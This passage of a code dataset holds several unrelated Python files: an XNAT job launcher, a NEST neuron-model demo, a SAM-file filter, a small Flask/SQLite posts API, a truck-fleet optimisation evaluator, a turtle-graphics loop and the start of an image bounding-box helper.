xnat, project, includesubj=None):\n \"\"\"\n Build the project\n\n :param xnat: pyxnat.Interface object\n :param project: project ID on XNAT\n :param includesubj: specific subjects to build, otherwise all\n :return: None\n \"\"\"\n LOGFORMAT = '%(asctime)s:%(levelname)s:%(module)s:%(message)s'\n stdouthandler = logging.StreamHandler(sys.stdout)\n stdouthandler.setFormatter(logging.Formatter(LOGFORMAT))\n LOGGER.addHandler(stdouthandler)\n LOGGER.setLevel(logging.DEBUG)\n\n pdata = {}\n pdata['name'] = project\n pdata['scans'] = XnatUtils.load_scan_data(xnat, [project])\n pdata['assessors'] = XnatUtils.load_assr_data(xnat, [project])\n pdata['sgp'] = XnatUtils.load_sgp_data(xnat, project)\n\n LOGGER.debug('calling build_sgp_processors')\n self.build_sgp_processors(xnat, pdata, includesubj)\n\n def build_sgp_processors(self, xnat, project_data, includesubj=None):\n project = project_data['name']\n sgp_processors = self.get_subjgenproc_processors(project)\n subjects = project_data['sgp'].SUBJECT.unique()\n\n # Filter list if specified\n if includesubj:\n LOGGER.debug('no subjects specified, including all')\n subjects = [x for x in subjects if x in includesubj]\n\n if len(sgp_processors) == 0:\n LOGGER.debug('no sgp processors')\n return\n\n for subj in sorted(subjects):\n for processor in sgp_processors:\n # Get list of inputs sets (not yet matched with existing)\n inputsets = processor.parse_subject(subj, project_data)\n\n for inputs in inputsets:\n if inputs == {}:\n # print('empty set, skipping')\n return\n\n # Get(create) assessor with given inputs and proc type\n # TODO: extract subject data only\n (assr, info) = processor.get_assessor(\n xnat, subj, inputs, project_data)\n\n # TODO: apply reproc or rerun if needed\n # (assr,info) = undo_processing()\n # (assr,info) = reproc_processing()\n\n if info['PROCSTATUS'] in [task.NEED_TO_RUN, task.NEED_INPUTS]:\n # print('building task')\n (assr, info) = self.build_task(\n assr, info, processor, project_data)\n\n # print('assr after=', info)\n else:\n LOGGER.info('already built:{}'.format(info['ASSR']))\n\n def build_task(self, assr, info, processor, project_data):\n resdir = self.resdir\n old_proc_status = info['PROCSTATUS']\n old_qc_status = info['QCSTATUS']\n jobdir = self.root_job_dir\n\n try:\n cmds = processor.build_cmds(\n assr,\n info,\n project_data,\n jobdir,\n resdir)\n\n batch_file = self.batch_path(info['ASSR'])\n outlog = self.outlog_path(info['ASSR'])\n\n batch = cluster.PBS(\n batch_file,\n outlog,\n cmds,\n processor.walltime_str,\n processor.memreq_mb,\n processor.ppn,\n processor.env,\n self.job_email,\n self.job_email_options,\n self.job_rungroup,\n self.xnat_host,\n processor.job_template)\n\n LOGGER.info('writing:' + batch_file)\n batch.write()\n\n # Set new statuses to be updated\n new_proc_status = task.JOB_RUNNING\n new_qc_status = task.JOB_PENDING\n\n # Write processor spec file for version 3\n try:\n LOGGER.debug('writing processor spec file')\n filename = self.processor_spec_path(info['ASSR'])\n mkdirp(os.path.dirname(filename))\n processor.write_processor_spec(filename)\n except AttributeError as err:\n # older processor does not have version\n LOGGER.debug('procyamlversion not found'.format(err))\n\n except task.NeedInputsException as e:\n new_proc_status = task.NEED_INPUTS\n new_qc_status = e.value\n except task.NoDataException as e:\n new_proc_status = task.NO_DATA\n new_qc_status = e.value\n\n # Update on xnat\n if new_proc_status != old_proc_status:\n assr.attrs.set(\n 'proc:subjgenprocdata/procstatus', new_proc_status)\n\n if new_qc_status != old_qc_status:\n assr.attrs.set(\n 'proc:subjgenprocdata/validation/status', new_qc_status)\n\n # Update local info\n info['PROCSTATUS'] = new_proc_status\n info['QCSTATUS'] = new_qc_status\n\n return (assr, info)\n\n # TODO:BenM/assessor_of_assessor/modify from here for one to many\n # processor to assessor mapping\n def build_session(self, intf, sess_info, auto_proc_list,\n sess_mod_list, scan_mod_list,\n sessions):\n \"\"\"\n Build a session\n\n :param intf: pyxnat.Interface object\n :param sess_info: python dictionary from XnatUtils.list_sessions method\n :param auto_proc_list: list of processors running\n :param sess_mod_list: list of modules running on a session\n :param scan_mod_list: list of modules running on a scan\n :return: None\n \"\"\"\n csess = find_with_pred(\n sessions, lambda s: sess_info['label'] == s.session_id())\n\n init_timestamp = csess.cached_timestamp\n\n # Create log file for this build of this session\n now_time = datetime.strftime(datetime.now(), '%Y%m%d-%H%M%S')\n sess_label = csess.label()\n tmp_dir = tempfile.mkdtemp()\n tmp_name = '{}_build_log-{}.txt'.format(sess_label, now_time)\n tmp_file = os.path.join(tmp_dir, tmp_name)\n handler = logging.FileHandler(tmp_file, 'w')\n handler.setFormatter(logging.Formatter(\n fmt='%(asctime)s - %(levelname)s - %(module)s - %(message)s'))\n LOGGER.addHandler(handler)\n\n if sess_mod_list or scan_mod_list:\n # Modules\n mod_count = 0\n while mod_count < 3:\n mess = \"\"\"== Build modules (count:{count}) ==\"\"\"\n LOGGER.debug(mess.format(count=mod_count))\n if sess_mod_list:\n self.build_session_modules(intf, csess, sess_mod_list)\n if scan_mod_list:\n for cscan in csess.scans():\n LOGGER.debug('+SCAN: ' + cscan.info()['scan_id'])\n self.build_scan_modules(intf, cscan, scan_mod_list)\n\n reloaded = csess.refresh()\n if not reloaded:\n break\n\n mod_count += 1\n\n # Auto Processors\n if auto_proc_list:\n LOGGER.debug('== Build auto processors ==')\n self.build_auto_processors(csess, auto_proc_list, sessions)\n\n # Close sess log\n LOGGER.handlers.pop()\n\n # Upload build log only if session was changed\n csess.refresh()\n final_timestamp = csess.cached_timestamp\n LOGGER.debug('initial timestamp={}, final timestamp={}'.format(\n init_timestamp, final_timestamp))\n if final_timestamp > init_timestamp:\n res_obj = csess.full_object().resource('BUILD_LOGS')\n LOGGER.debug('uploading session log:' + tmp_file)\n XnatUtils.upload_file_to_obj(tmp_file, res_obj)\n else:\n LOGGER.debug('session not modified, not uploading build log')\n\n def build_session_modules(self, xnat, csess, sess_mod_list):\n \"\"\"\n Build a session\n\n :param xnat: pyxnat.Interface object\n :param sess_info: python ditionary from XnatUtils.list_sessions method\n :param sess_mod_list: list of modules running on a session\n :return: None\n \"\"\"\n sess_obj = None\n sess_info = csess.info()\n for sess_mod in sess_mod_list:\n LOGGER.debug('* Module: ' + sess_mod.getname())\n if sess_mod.needs_run(csess, xnat):\n if sess_obj is None:\n sess_obj = csess.full_object()\n\n try:\n sess_mod.run(sess_info, sess_obj)\n except Exception as E:\n err1 = 'Caught exception building session module %s'\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical(err1 % sess_info['session_label'])\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n def build_scan_modules(self, xnat, cscan, scan_mod_list):\n \"\"\" Build Scan modules.\n\n :param xnat: pyxnat.Interface object\n :param csan: CachedObject for scan (XnatUtils)\n :param scan_mod_list: list of modules running on a scan\n :return: None\n \"\"\"\n scan_info = cscan.info()\n scan_obj = None\n\n # Modules\n for scan_mod in scan_mod_list:\n LOGGER.debug('* Module: ' + scan_mod.getname())\n if scan_mod.needs_run(cscan, xnat):\n if scan_obj is None:\n scan_obj = cscan.full_object()\n\n try:\n scan_mod.run(scan_info, scan_obj)\n except Exception as E:\n err1 = 'Caught exception building session scan module \\\nin session %s'\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical(err1 % scan_info['session_label'])\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n def build_auto_processors(self, csess, auto_proc_list, sessions):\n \"\"\" Build yaml-based processors.\n\n :param xnat: pyxnat.Interface object\n :param csess: CachedObject for Session (XnatUtils)\n :param auto_proc_list: list of yaml processors\n :return: None\n \"\"\"\n # sess_info = csess.info()\n xnat_session = csess.full_object()\n\n for auto_proc in auto_proc_list:\n # return a mapping between the assessor input sets and existing\n # assessors that map to those input sets\n\n # BDB 6/5/21\n # For now, we will not process pet sessions here, but will\n # include them as additional params for mr sessions.\n if csess.datatype() == 'xnat:petSessionData':\n LOGGER.debug('pet session, skipping auto processors')\n continue\n else:\n pets = [x for x in sessions if x.datatype() == 'xnat:petSessionData']\n mrs = [x for x in sessions if x.datatype() != 'xnat:petSessionData']\n\n mapping = auto_proc.parse_session(csess, mrs, pets)\n\n if mapping is None:\n continue\n\n for inputs, p_assrs in mapping:\n if len(p_assrs) == 0:\n assessor = auto_proc.create_assessor(\n xnat_session, inputs, relabel=True)\n assessors = [(\n assessor, assessor.label(),\n task.NEED_TO_RUN, task.DOES_NOT_EXIST)]\n\n csess.refresh()\n else:\n assessors = []\n for p in p_assrs:\n # BDB 6/5/21 is there ever more than one assessor here?\n info = p.info()\n procstatus = info['procstatus']\n qcstatus = info['qcstatus']\n assessors.append((\n p.full_object(), p.label(), procstatus, qcstatus))\n\n for assessor in assessors:\n procstatus = assessor[2]\n qcstatus = assessor[3]\n if task_needs_to_run(procstatus, qcstatus):\n xtask = XnatTask(auto_proc, assessor[0], self.resdir,\n os.path.join(self.resdir, 'DISKQ'))\n\n if task_needs_status_update(qcstatus):\n xtask.update_status()\n\n LOGGER.debug('building task: ' + xtask.assessor_label)\n (proc_status, qc_status) = xtask.build_task(\n assessor[0], sessions,\n self.root_job_dir,\n self.job_email,\n self.job_email_options,\n self.job_rungroup)\n deg = 'proc_status=%s, qc_status=%s'\n LOGGER.debug(deg % (proc_status, qc_status))\n\n # Refresh the cached session since we just modified it\n csess.refresh()\n else:\n # TODO: check that it actually exists in QUEUE\n LOGGER.debug('already built: ' + assessor[1])\n\n def batch_path(self, assessor_label):\n return os.path.join(\n self.resdir,\n 'DISKQ',\n 'BATCH',\n '{}.slurm'.format(assessor_label))\n\n def outlog_path(self, assessor_label):\n return os.path.join(\n self.resdir,\n 'DISKQ',\n 'OUTLOG',\n '{}.txt'.format(assessor_label))\n\n def processor_spec_path(self, assessor):\n return os.path.join(self.resdir, 'DISKQ', 'processor', assessor)\n\n def get_subjgenproc_processors(self, project):\n # Get the processors for this project\n proc = self.project_sgp_processors.get(project, [])\n\n # Filter to only include subjgenproc\n # proc = [x for x in proc if x.xsitype == 'proc:subjgenprocdata']\n\n return proc\n\n def set_subjgenproc_processors(self, project, processors):\n # Get the processors for this project\n self.sgp_processors[project] = processors\n\n def module_prerun(self, project_id, settings_filename=''):\n \"\"\"\n Run the module prerun method\n\n :param xnat: pyxnat.Interface object\n :param project_id: project ID on XNAT\n :param settings_filename: Settings file name for temp dir\n :return: None\n \"\"\"\n for mod in self.project_modules_dict.get(project_id, list()):\n try:\n mod.prerun(settings_filename)\n except Exception as E:\n err1 = 'Caught exception in module prerun for project %s'\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical(err1 % project_id)\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n def module_afterrun(self, xnat, project_id):\n \"\"\"\n Run the module afterrun method\n\n :param xnat: pyxnat.Interface object\n :param project_id: project ID on XNAT\n :return: None\n \"\"\"\n for mod in self.project_modules_dict.get(project_id, list()):\n try:\n mod.afterrun(xnat, project_id)\n except Exception as E:\n err1 = 'Caught exception in module prerun for project %s'\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical(err1 % project_id)\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n # Generic Methods\n def init_script(self, flagfile, project_local, type_update, start_end):\n \"\"\"\n Init script for any of the main methods: build/update/launch\n\n :param flagfile: flag file for the method to run\n :param project_local: project to run locally\n :param type_update: What type of process ran: dax_build (1),\n dax_update_tasks (2), dax_launch (3)\n :param start_end: starting timestamp (1) and ending timestamp (2)\n :return: None\n \"\"\"\n # Get default project list for XNAT out of the module/process dict\n ulist = set(list(self.project_process_dict.keys()) +\n list(self.project_sgp_processors.keys()) +\n list(self.project_modules_dict.keys()))\n project_list = sorted(ulist)\n if project_local:\n if ',' in project_local:\n mess = \"\"\"too much projects ID given to the option\\\n--project : {proj}. Only for one project.\"\"\"\n mess_str = mess.format(proj=project_local)\n LOGGER.error(mess_str)\n exit(1)\n elif project_local in project_list:\n # Updating session for a specific project\n project_list = [project_local]\n else:\n mess = \"\"\"failed to run locally on project {proj}.\\\nThe project is not part of the settings.\"\"\"\n mess_str = mess.format(proj=project_local)\n LOGGER.error(mess_str)\n exit(1)\n else:\n success = lockfiles.lock_flagfile(flagfile)\n if not success:\n LOGGER.warn('failed to get lock. Already running.')\n exit(1)\n\n return project_list\n\n def finish_script(self, flagfile, project_list, type_update,\n start_end, project_local):\n \"\"\"\n Finish script for any of the main methods: build/update/launch\n\n :param flagfile: flag file for the method to run\n :param project_list: List of projects that were updated by the method\n :param type_update: What type of process ran: dax_build (1),\n dax_update_tasks (2), dax_launch (3)\n :param start_end: starting timestamp (1) and ending timestamp (2)\n :param project_local: project to run locally\n :return: None\n \"\"\"\n if not project_local:\n lockfiles.unlock_flagfile(flagfile)\n\n def get_tasks(self, xnat, is_valid_assessor, project_list=None,\n sessions_local=None):\n \"\"\"\n Get list of tasks for a projects list\n\n :param xnat: pyxnat.Interface object\n :param is_valid_assessor: method to validate the assessor\n :param project_list: List of projects to search tasks from\n :param sessions_local: list of sessions to update tasks associated\n to the project locally\n :return: list of tasks\n \"\"\"\n task_list = list()\n\n if not project_list:\n projects = list(self.project_process_dict.keys())\n # Priority:\n if self.priority_project:\n project_list = self.get_project_list(projects)\n else:\n project_list = list(projects)\n\n # iterate projects\n for project_id in project_list:\n LOGGER.info('===== PROJECT:%s =====' % project_id)\n task_list.extend(self.get_project_tasks(xnat,\n project_id,\n sessions_local,\n is_valid_assessor))\n\n return task_list\n\n def get_project_tasks(self, xnat, project_id, sessions_local,\n is_valid_assessor):\n \"\"\"\n Get list of tasks for a specific project where each task agrees\n the is_valid_assessor conditions\n\n :param xnat: pyxnat.Interface object\n :param project_id: project ID on XNAT\n :param sessions_local: list of sessions to update tasks associated\n to the project locally\n :param is_valid_assessor: method to validate the assessor\n :return: list of tasks\n \"\"\"\n task_list = list()\n\n # Get lists of processors for this project\n pp_dict = self.project_process_dict.get(project_id, None)\n auto_procs = processors.processors_by_type(pp_dict)\n\n # Get lists of assessors for this project\n assr_list = self.get_assessors_list(xnat, project_id, sessions_local)\n\n # Match each assessor to a processor, get a task, and add to list\n for assr_info in assr_list:\n if is_valid_assessor(assr_info):\n cur_task = self.generate_task(xnat, assr_info, auto_procs)\n if cur_task:\n task_list.append(cur_task)\n\n return task_list\n\n @staticmethod\n def match_proc(assr_info, auto_proc_list):\n \"\"\"\n Check if an assessor is a match with the processors\n\n :param assr_info: dictionary containing the assessor info\n (See XnatUtils.list_assessors)\n :param auto_proc_list: list of processors running\n :return: processor if found, None otherwise\n \"\"\"\n # Look for a match in yaml processors\n for auto_proc in auto_proc_list:\n if auto_proc.xsitype == assr_info['xsiType'] and \\\n auto_proc.name == assr_info['proctype']:\n return auto_proc\n\n return None\n\n def generate_task(self, xnat, assr_info, auto_proc_list):\n \"\"\"\n Generate a task for the assessor in the info\n\n :param xnat: pyxnat.Interface object\n :param assr_info: dictionary containing the assessor info\n (See XnatUtils.list_assessors)\n :param auto_proc_list: list of yaml processors\n :return: task if processor and assessor match, None otherwise\n \"\"\"\n task_proc = self.match_proc(assr_info, auto_proc_list)\n\n if task_proc is None:\n warn = 'no matching processor found: %s'\n LOGGER.warn(warn % assr_info['assessor_label'])\n return None\n else:\n # Get a new task with the matched processor\n assr = xnat.select_assessor(assr_info['project_id'],\n assr_info['subject_id'],\n assr_info['session_id'],\n assr_info['ID'])\n cur_task = Task(task_proc, assr, self.resdir)\n return cur_task\n\n @staticmethod\n def get_assessors_list(xnat, project_id, slocal):\n \"\"\"\n Get the assessor list from XNAT and filter it if necessary\n\n :param xnat: pyxnat.Interface object\n :param project_id: project ID on XNAT\n :param slocal: session selected by user\n :return: list of assessors for a project\n \"\"\"\n # Get lists of assessors for this project\n assr_list = xnat.list_project_assessors(project_id)\n\n # filter the assessors to the sessions given as parameters if given\n if slocal and slocal.lower() != 'all':\n # filter the list and keep the match between both list:\n val = slocal.split(',')\n assr_list = [x for x in assr_list if x['session_label'] in val]\n if not assr_list:\n warn = 'No processes on XNAT matched the sessions given: %s .'\n LOGGER.warn(warn % slocal)\n sys.exit(1)\n\n return assr_list\n\n @staticmethod\n def get_sessions_list(xnat, project_id, slocal):\n \"\"\"\n Get the sessions list from XNAT and sort it.\n Move the new sessions to the front.\n\n :param xnat: pyxnat.Interface object\n :param project_id: project ID on XNAT\n :param slocal: session selected by user\n :return: list of sessions sorted for a project\n \"\"\"\n list_sessions = xnat.get_sessions_minimal(project_id)\n\n if slocal and slocal.lower() != 'all':\n # filter the list and keep the match between both list:\n val = slocal.split(',')\n list_sessions = list(\n [x for x in list_sessions if x['label'] in val])\n if not list_sessions:\n warn = 'No session from XNAT matched the sessions given: %s .'\n LOGGER.warn(warn % slocal)\n\n # TODO: sort by last modified\n sorted_list = list_sessions\n new_sessions_label = [sess['label'] for sess in list_sessions]\n for session in list_sessions:\n if not session['label'] in new_sessions_label:\n sorted_list.append(session)\n\n return sorted_list\n\n def get_project_list(self, all_projects):\n \"\"\"\n Get project list from the file priority + the other ones\n\n :param all_projects: list of all the projects in the settings file\n :return: list of project sorted to update\n \"\"\"\n random_project = [x for x in all_projects\n if x not in self.priority_project]\n return self.priority_project + random_project\n\n @staticmethod\n def has_new_processors(assessors, proc_types):\n \"\"\"\n Method to check whether, given a list of assessors, there are processor\n types that are new relative to the list of assessors (the proc type\n doesn't appear in the set of assessor proc types).\n :param assessors: a list of assessors, typically from a session or\n subject\n :param proc_types: a set of processor types to check against assessors\n :return: Boolean indicating whether the proc_types set has proc types\n that aren't in the assessors list\n \"\"\"\n assr_types = set(x['proctype'] for x in assessors)\n return len(proc_types.difference(assr_types)) > 0\n\n# =============================================================================\ndef load_task_queue(resdir, status=None, proj_filter=None, sess_filter=None):\n \"\"\" Load the task queue for DiskQ\"\"\"\n task_list = list()\n diskq_dir = os.path.join(resdir, 'DISKQ')\n\n # TODO: handle subjgenproc assessors, conveniently it works implicitly, but\n # should also handle subject filters\n for t in os.listdir(os.path.join(diskq_dir, 'BATCH')):\n if proj_filter or sess_filter:\n assr = XnatUtils.AssessorHandler(t)\n if proj_filter and assr.get_project_id() not in proj_filter:\n LOGGER.debug('ignoring:' + t)\n continue\n\n if sess_filter and assr.get_session_label() not in sess_filter:\n LOGGER.debug('ignoring:' + t)\n continue\n\n LOGGER.debug('loading:' + t)\n task = ClusterTask(os.path.splitext(t)[0], resdir, diskq_dir)\n LOGGER.debug('status = ' + task.get_status())\n\n if not status or task.get_status() == status:\n LOGGER.debug('adding task to list:' + t)\n task_list.append(task)\n\n return task_list\n\n\ndef get_sess_lastmod(xnat, sess_info):\n \"\"\" Get the session last modified date.\"\"\"\n xsi_type = sess_info['xsiType']\n sess_obj = xnat.select_experiment(sess_info['project_label'],\n sess_info['subject_label'],\n sess_info['session_label'])\n last_modified_xnat = sess_obj.attrs.get('%s/meta/last_modified' % xsi_type)\n last_mod = datetime.strptime(last_modified_xnat[0:19], '%Y-%m-%d %H:%M:%S')\n return last_mod\n\n\ndef sess_was_modified(xnat, sess_info, build_start_time):\n \"\"\"\n Compare modified time with start time\n :param xnat: pyxnat.Interface object\n :param sess_info: dictionary of session information\n :param update_start_time: date when the update started\n :return: False if the session change and don't set the last update date,\n True otherwise\n \"\"\"\n last_mod = get_sess_lastmod(xnat, sess_info)\n return (last_mod > build_start_time)\n","sub_path":"dax/launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":53060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"149248491","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 11 20:53:50 2020\n\n@author: jescab01\n\"\"\"\n\nfrom sklearn.svm import LinearSVC\nfrom scipy.special import erf\nimport nest\nimport nest.voltage_trace\nimport pylab # to display results\n \n \n#%%\n \ndef try_V(nName,simTime,Ie):\n neuron=nest.Create(nName, params={\"I_e\":Ie})\n voltmeter=nest.Create(\"voltmeter\", params={\"withgid\": True})\n nest.Connect(voltmeter,neuron)\n nest.Simulate(simTime)\n nest.voltage_trace.from_device(voltmeter)\n\n\n#%% \ndef try_spiking(nName,simTime,Ie):\n neuron=nest.Create(nName, params={\"I_e\":Ie})\n sd=nest.Create(\"spike_detector\", params={\"withgid\":True,\"withtime\":True})\n nest.Connect(neuron,sd)\n nest.Simulate(simTime)\n dsD=nest.GetStatus(sd, keys=\"events\")[0] ## \"[0]\" - convention to make operation over lists more convenient\n evs=dsD[\"senders\"]\n ts=dsD[\"times\"]\n pylab.figure(2)\n pylab.plot(ts,evs,\".\")\n \n\n\n#%%\n\n\" Create Izhikevich Models (following Izh 2004 + web)\"\n\n# Regular Spiking\nnest.CopyModel(\"izhikevich\", \"izh_RS\", params={\"a\":0.02,\"b\":0.2,\"c\":-65.0,\"d\":8.0})\ntry_V(\"izh_RS\",1000,5.0)\ntry_spiking(\"izh_RS\",1000,5.0)\n\n# Fast-Spiking\nnest.CopyModel(\"izhikevich\", \"izh_FS\", params={\"a\":0.1,\"b\":0.2,\"c\":-65.0,\"d\":2.0})\ntry_V(\"izh_FS\",1000,5.0)\ntry_spiking(\"izh_FS\",1000,5.0)\n\n# Low-Threshold Spiking\nnest.CopyModel(\"izhikevich\", \"izh_LTS\", params={\"a\":0.02,\"b\":0.25,\"c\":-65.0,\"d\":2.0})\ntry_V(\"izh_LTS\",1000,5.0)\ntry_spiking(\"izh_LTS\",1000,5.0)\n\n# Intrinsically-Bursting\nnest.CopyModel(\"izhikevich\", \"izh_IB\", params={\"a\":0.02,\"b\":0.2,\"c\":-55.0,\"d\":4.0})\ntry_V(\"izh_IB\",1000,5.0)\ntry_spiking(\"izh_IB\",1000,5.0)\n\n# Chattering\nnest.CopyModel(\"izhikevich\", \"izh_CH\", params={\"a\":0.02,\"b\":0.2,\"c\":-50.0,\"d\":2.0})\ntry_V(\"izh_CH\",300,5.0)\ntry_spiking(\"izh_CH\",300,5.0)\n\n# Thalamo-Cortical\nnest.CopyModel(\"izhikevich\",\"izh_TCR\", params={\"a\":0.02,\"b\":0.25,\"c\":-65.0,\"d\":0.05})\ntry_V(\"izh_TCR\",300,5.0)\ntry_spiking(\"izh_TCR\",500,5.0)\n","sub_path":"Izh_models2003.py","file_name":"Izh_models2003.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"610364444","text":"import os\nimport pysam\n\n\nlocation = \"/home/alexander/Documents/uni/sequence/vi_HMM/vcHMM/data/test_30X_Coverage_new\"\ngoodsam = []\n\nfor file in os.listdir(location):\n if file.endswith('.sam'):\n samfile = pysam.AlignmentFile(file, 'rb')\n sam = [[read.reference_start, read.query_name, read.query_sequence, read.cigartuples,\n read.mapping_quality, read.query_qualities.tolist()] for read in samfile]\n if any(read[3] is None for read in sam):\n continue\n else:\n goodsam.append(os.path.join(file))\n\ngoodsam.sort()\n\nfor file in goodsam:\n print(file)\n","sub_path":"data/test_30X_Coverage_new/evol_selector.py","file_name":"evol_selector.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"36237183","text":"from flask import Flask, jsonify, request\nfrom flask_cors import CORS\nimport sqlite3\n\napp = Flask(__name__)\nCORS(app) # avoid Cross-Origin Resource Sharing (CORS) errors\n\n# Declare routes by following the examples below\n@app.route('/')\ndef index():\n return \"Hello, World!\" # return this data to the client\n\n\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n \n@app.route('/api/v1.0/posts', methods=['GET'])\ndef api_all():\n conn = sqlite3.connect('posts.db')\n conn.row_factory = dict_factory\n cur = conn.cursor()\n all_posts = cur.execute('SELECT * FROM Posts;').fetchall()\n\n return jsonify(all_posts)\n\ndef upload_post(values):\n conn = sqlite3.connect('posts.db')\n\n print (\"Opened database successfully\")\n\n command = \"INSERT INTO Posts (name, title, createDate, uploadDate, info) VALUES (?,?,?,?,?)\"\n conn.execute(command, values )\n\n conn.commit()\n\n print(\"Records created successfully with title: \" + values[0])\n conn.close()\n \n\n@app.route('/postmethod', methods=['GET','POST'])\ndef create_post():\n data = request.get_json() or {}\n # print(data['post_data'])\n upload_post(data['post_data'])\n return 'yes sirr'\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"273131179","text":"import numpy as np\n\n\nclass Evaluator:\n\t\"\"\"\n\tEvaluator for truck optimisation\n\t\"\"\"\n\n\tdef __init__(self, path):\n\t\tself._num_obj = 1\n\t\tself._num_constraints = 1\n\t\tself._price = np.array(\n\t\t\t[\n\t\t\t\t9000000, 4000000,\n\t\t\t\t9000000, 4000000,\n\t\t\t\t9000000, 4000000,\n\t\t\t\t9000000, 4000000], dtype=np.int64\n\t\t)\n\t\tself._tontarget = np.array([140000000, 100000000, 0, 60000000], dtype=np.int64)\n\t\tself._capacity = np.array(\n\t\t\t[\n\t\t\t\t9000000, 3800000,\n\t\t\t\t10000000, 4000000,\n\t\t\t\t10000000, 4000000,\n\t\t\t\t8000000, 3700000], dtype=np.int64\n\t\t)\n\t\tself._path = path\n\n\tdef __repr__(self):\n\t\treturn(\n\t\t\tf'{self.__class__.__name__!r} ('\n\t\t\tf'{self._num_obj!r},\\n'\n\t\t\tf'{self._num_constraints!r},\\n'\n\t\t)\n\n\tdef get_performance(self, individual, is_hifidelity):\n\t\t\"\"\"\n\t\tEvaluate performance of individual.\n\t\t:param individual: Incoming solution.\n\t\t:param is_hifidelity: Flag indicating if hifidelity eval is needed.\n\t\t:return: Returns objective vector and violation scaler.\n\t\t\"\"\"\n\n\t\t# Calculate objective\n\t\tobj = self.get_objective(individual)\n\n\t\tviolation = self.get_violation(individual)\n\n\t\treturn obj, violation\n\n\tdef get_objective(self, sol):\n\t\tobj = np.zeros(self._num_obj)\n\n\t\tobj[0] = -1.0 * np.sum(sol * self._price)\n\n\t\treturn obj\n\n\tdef get_violation(self, sol):\n\n\t\tyears = np.zeros(self._tontarget.shape[0])\n\t\tviolation = 0.0\n\t\tfor i in range(self._tontarget.shape[0], 2):\n\t\t\tyear[i] = (\n\t\t\t\t\tsol[i * 2] * self._capacity[i * 2] +\n\t\t\t\t\tsol[i * 2 + 1] * self._capacity[i * 2 + 1]\n\t\t\t)\n\n\t\t\tif year[i] < self._tontarget[i]:\n\t\t\t\tif self._tontarget[i] > 0:\n\t\t\t\t\tviolation += (self._tontarget[i] - year[i]) / self._tontarget[i]\n\t\t\t\telse:\n\t\t\t\t\tviolation += (self._tontarget[i] - year[i])\n\n\t\tif np.any(years < 0):\n\t\t\traise Exception(\"Invalid constraint detected...\")\n\n\t\treturn violation\n\n\tdef get_number_objectives(self):\n\t\t\"\"\"\n\t\tReturn the number of objectives\n\t\t:return: int\n\t\t\"\"\"\n\t\treturn self._num_obj\n\n\tdef get_number_constraints(self):\n\t\t\"\"\"\n\t\tReturn number of constraints\n\t\t:return: int\n\t\t\"\"\"\n\t\treturn self._num_constraints\n\n\tdef get_composite_function(self):\n\t\t\"\"\"\n\t\tReturn a composite function that combines all objectives and\n\t\tconstraints.\n\t\t:return: Evaluator\n\t\t\"\"\"\n\t\treturn NotImplementedError\n\n\tdef train(self, hidef_sols, obj, constraints):\n\t\t\"\"\"\n\t\tTrain the surrogate model.\n\t\t:param hidef_sols: Hi-fidelity solutions.\n\t\t:param obj: Objective values.\n\t\t:param constraints: Constraint values.\n\t\t:return: None.\n\t\t\"\"\"\n\t\treturn NotImplementedError\n\n\tdef log_final(self, sol):\n\t\tobj, viol = self.get_performance(sol, False)\n\n\t\twith open(f\"{self._path}/result.csv\",'w') as file:\n\t\t\tfile.write(f\"Cost,{obj[0]}\\n\")\n\t\t\tfile.write(f\"Violation, {viol}\\n\")\n\t\t\tfile.write(\"Solution\\n\")\n\t\t\tfile.write(f\"{sol[0]}, {sol[1]}, {sol[2]}, {sol[3]}, {sol[4]},\"\n\t\t\t\t\t\tf\"{sol[5]},{sol[6]},{sol[7]}\"\n\t\t\t)\n","sub_path":"run_trucks/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"189260635","text":"import turtle\r\n\r\npen=turtle.Turtle()\r\nwindow=turtle.Screen()\r\n\r\npen.color(\"red\")\r\npen.pensize(4)\r\npen.shape=(\"turtle\")\r\npen.hideturtle()\r\n\r\nfor count in range (360):\r\n pen.forward(1)\r\n pen.left(1)\r\n\r\n\r\nwindow.mainloop()","sub_path":"2016/Circle Loop.py","file_name":"Circle Loop.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495352058","text":"import cv2\nimport os\nimport torch\n\n\ndef to_var(x, use_gpu, requires_grad=False):\n if torch.cuda.is_available() and use_gpu:\n x = x.cuda()\n x.requires_grad = requires_grad\n return x\n\n\ndef mkdir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef write_print(path, text):\n \"\"\"Displays text in console and saves in text file\n\n Arguments:\n path {string} -- path to text file\n text {string} -- text to display and save\n \"\"\"\n file = open(path, 'a')\n file.write(text + '\\n')\n file.close()\n print(text)\n\n\ndef draw_bbox(image,\n start_point,\n end_point,\n color,\n thickness):\n\n image = cv2.rectangle(image,\n start_point,\n end_point,\n color,\n thickness)\n return image\n\n\ndef draw_labels(image,\n labels,\n dictionary,\n is_prediction=False):\n\n if is_prediction:\n thickness = 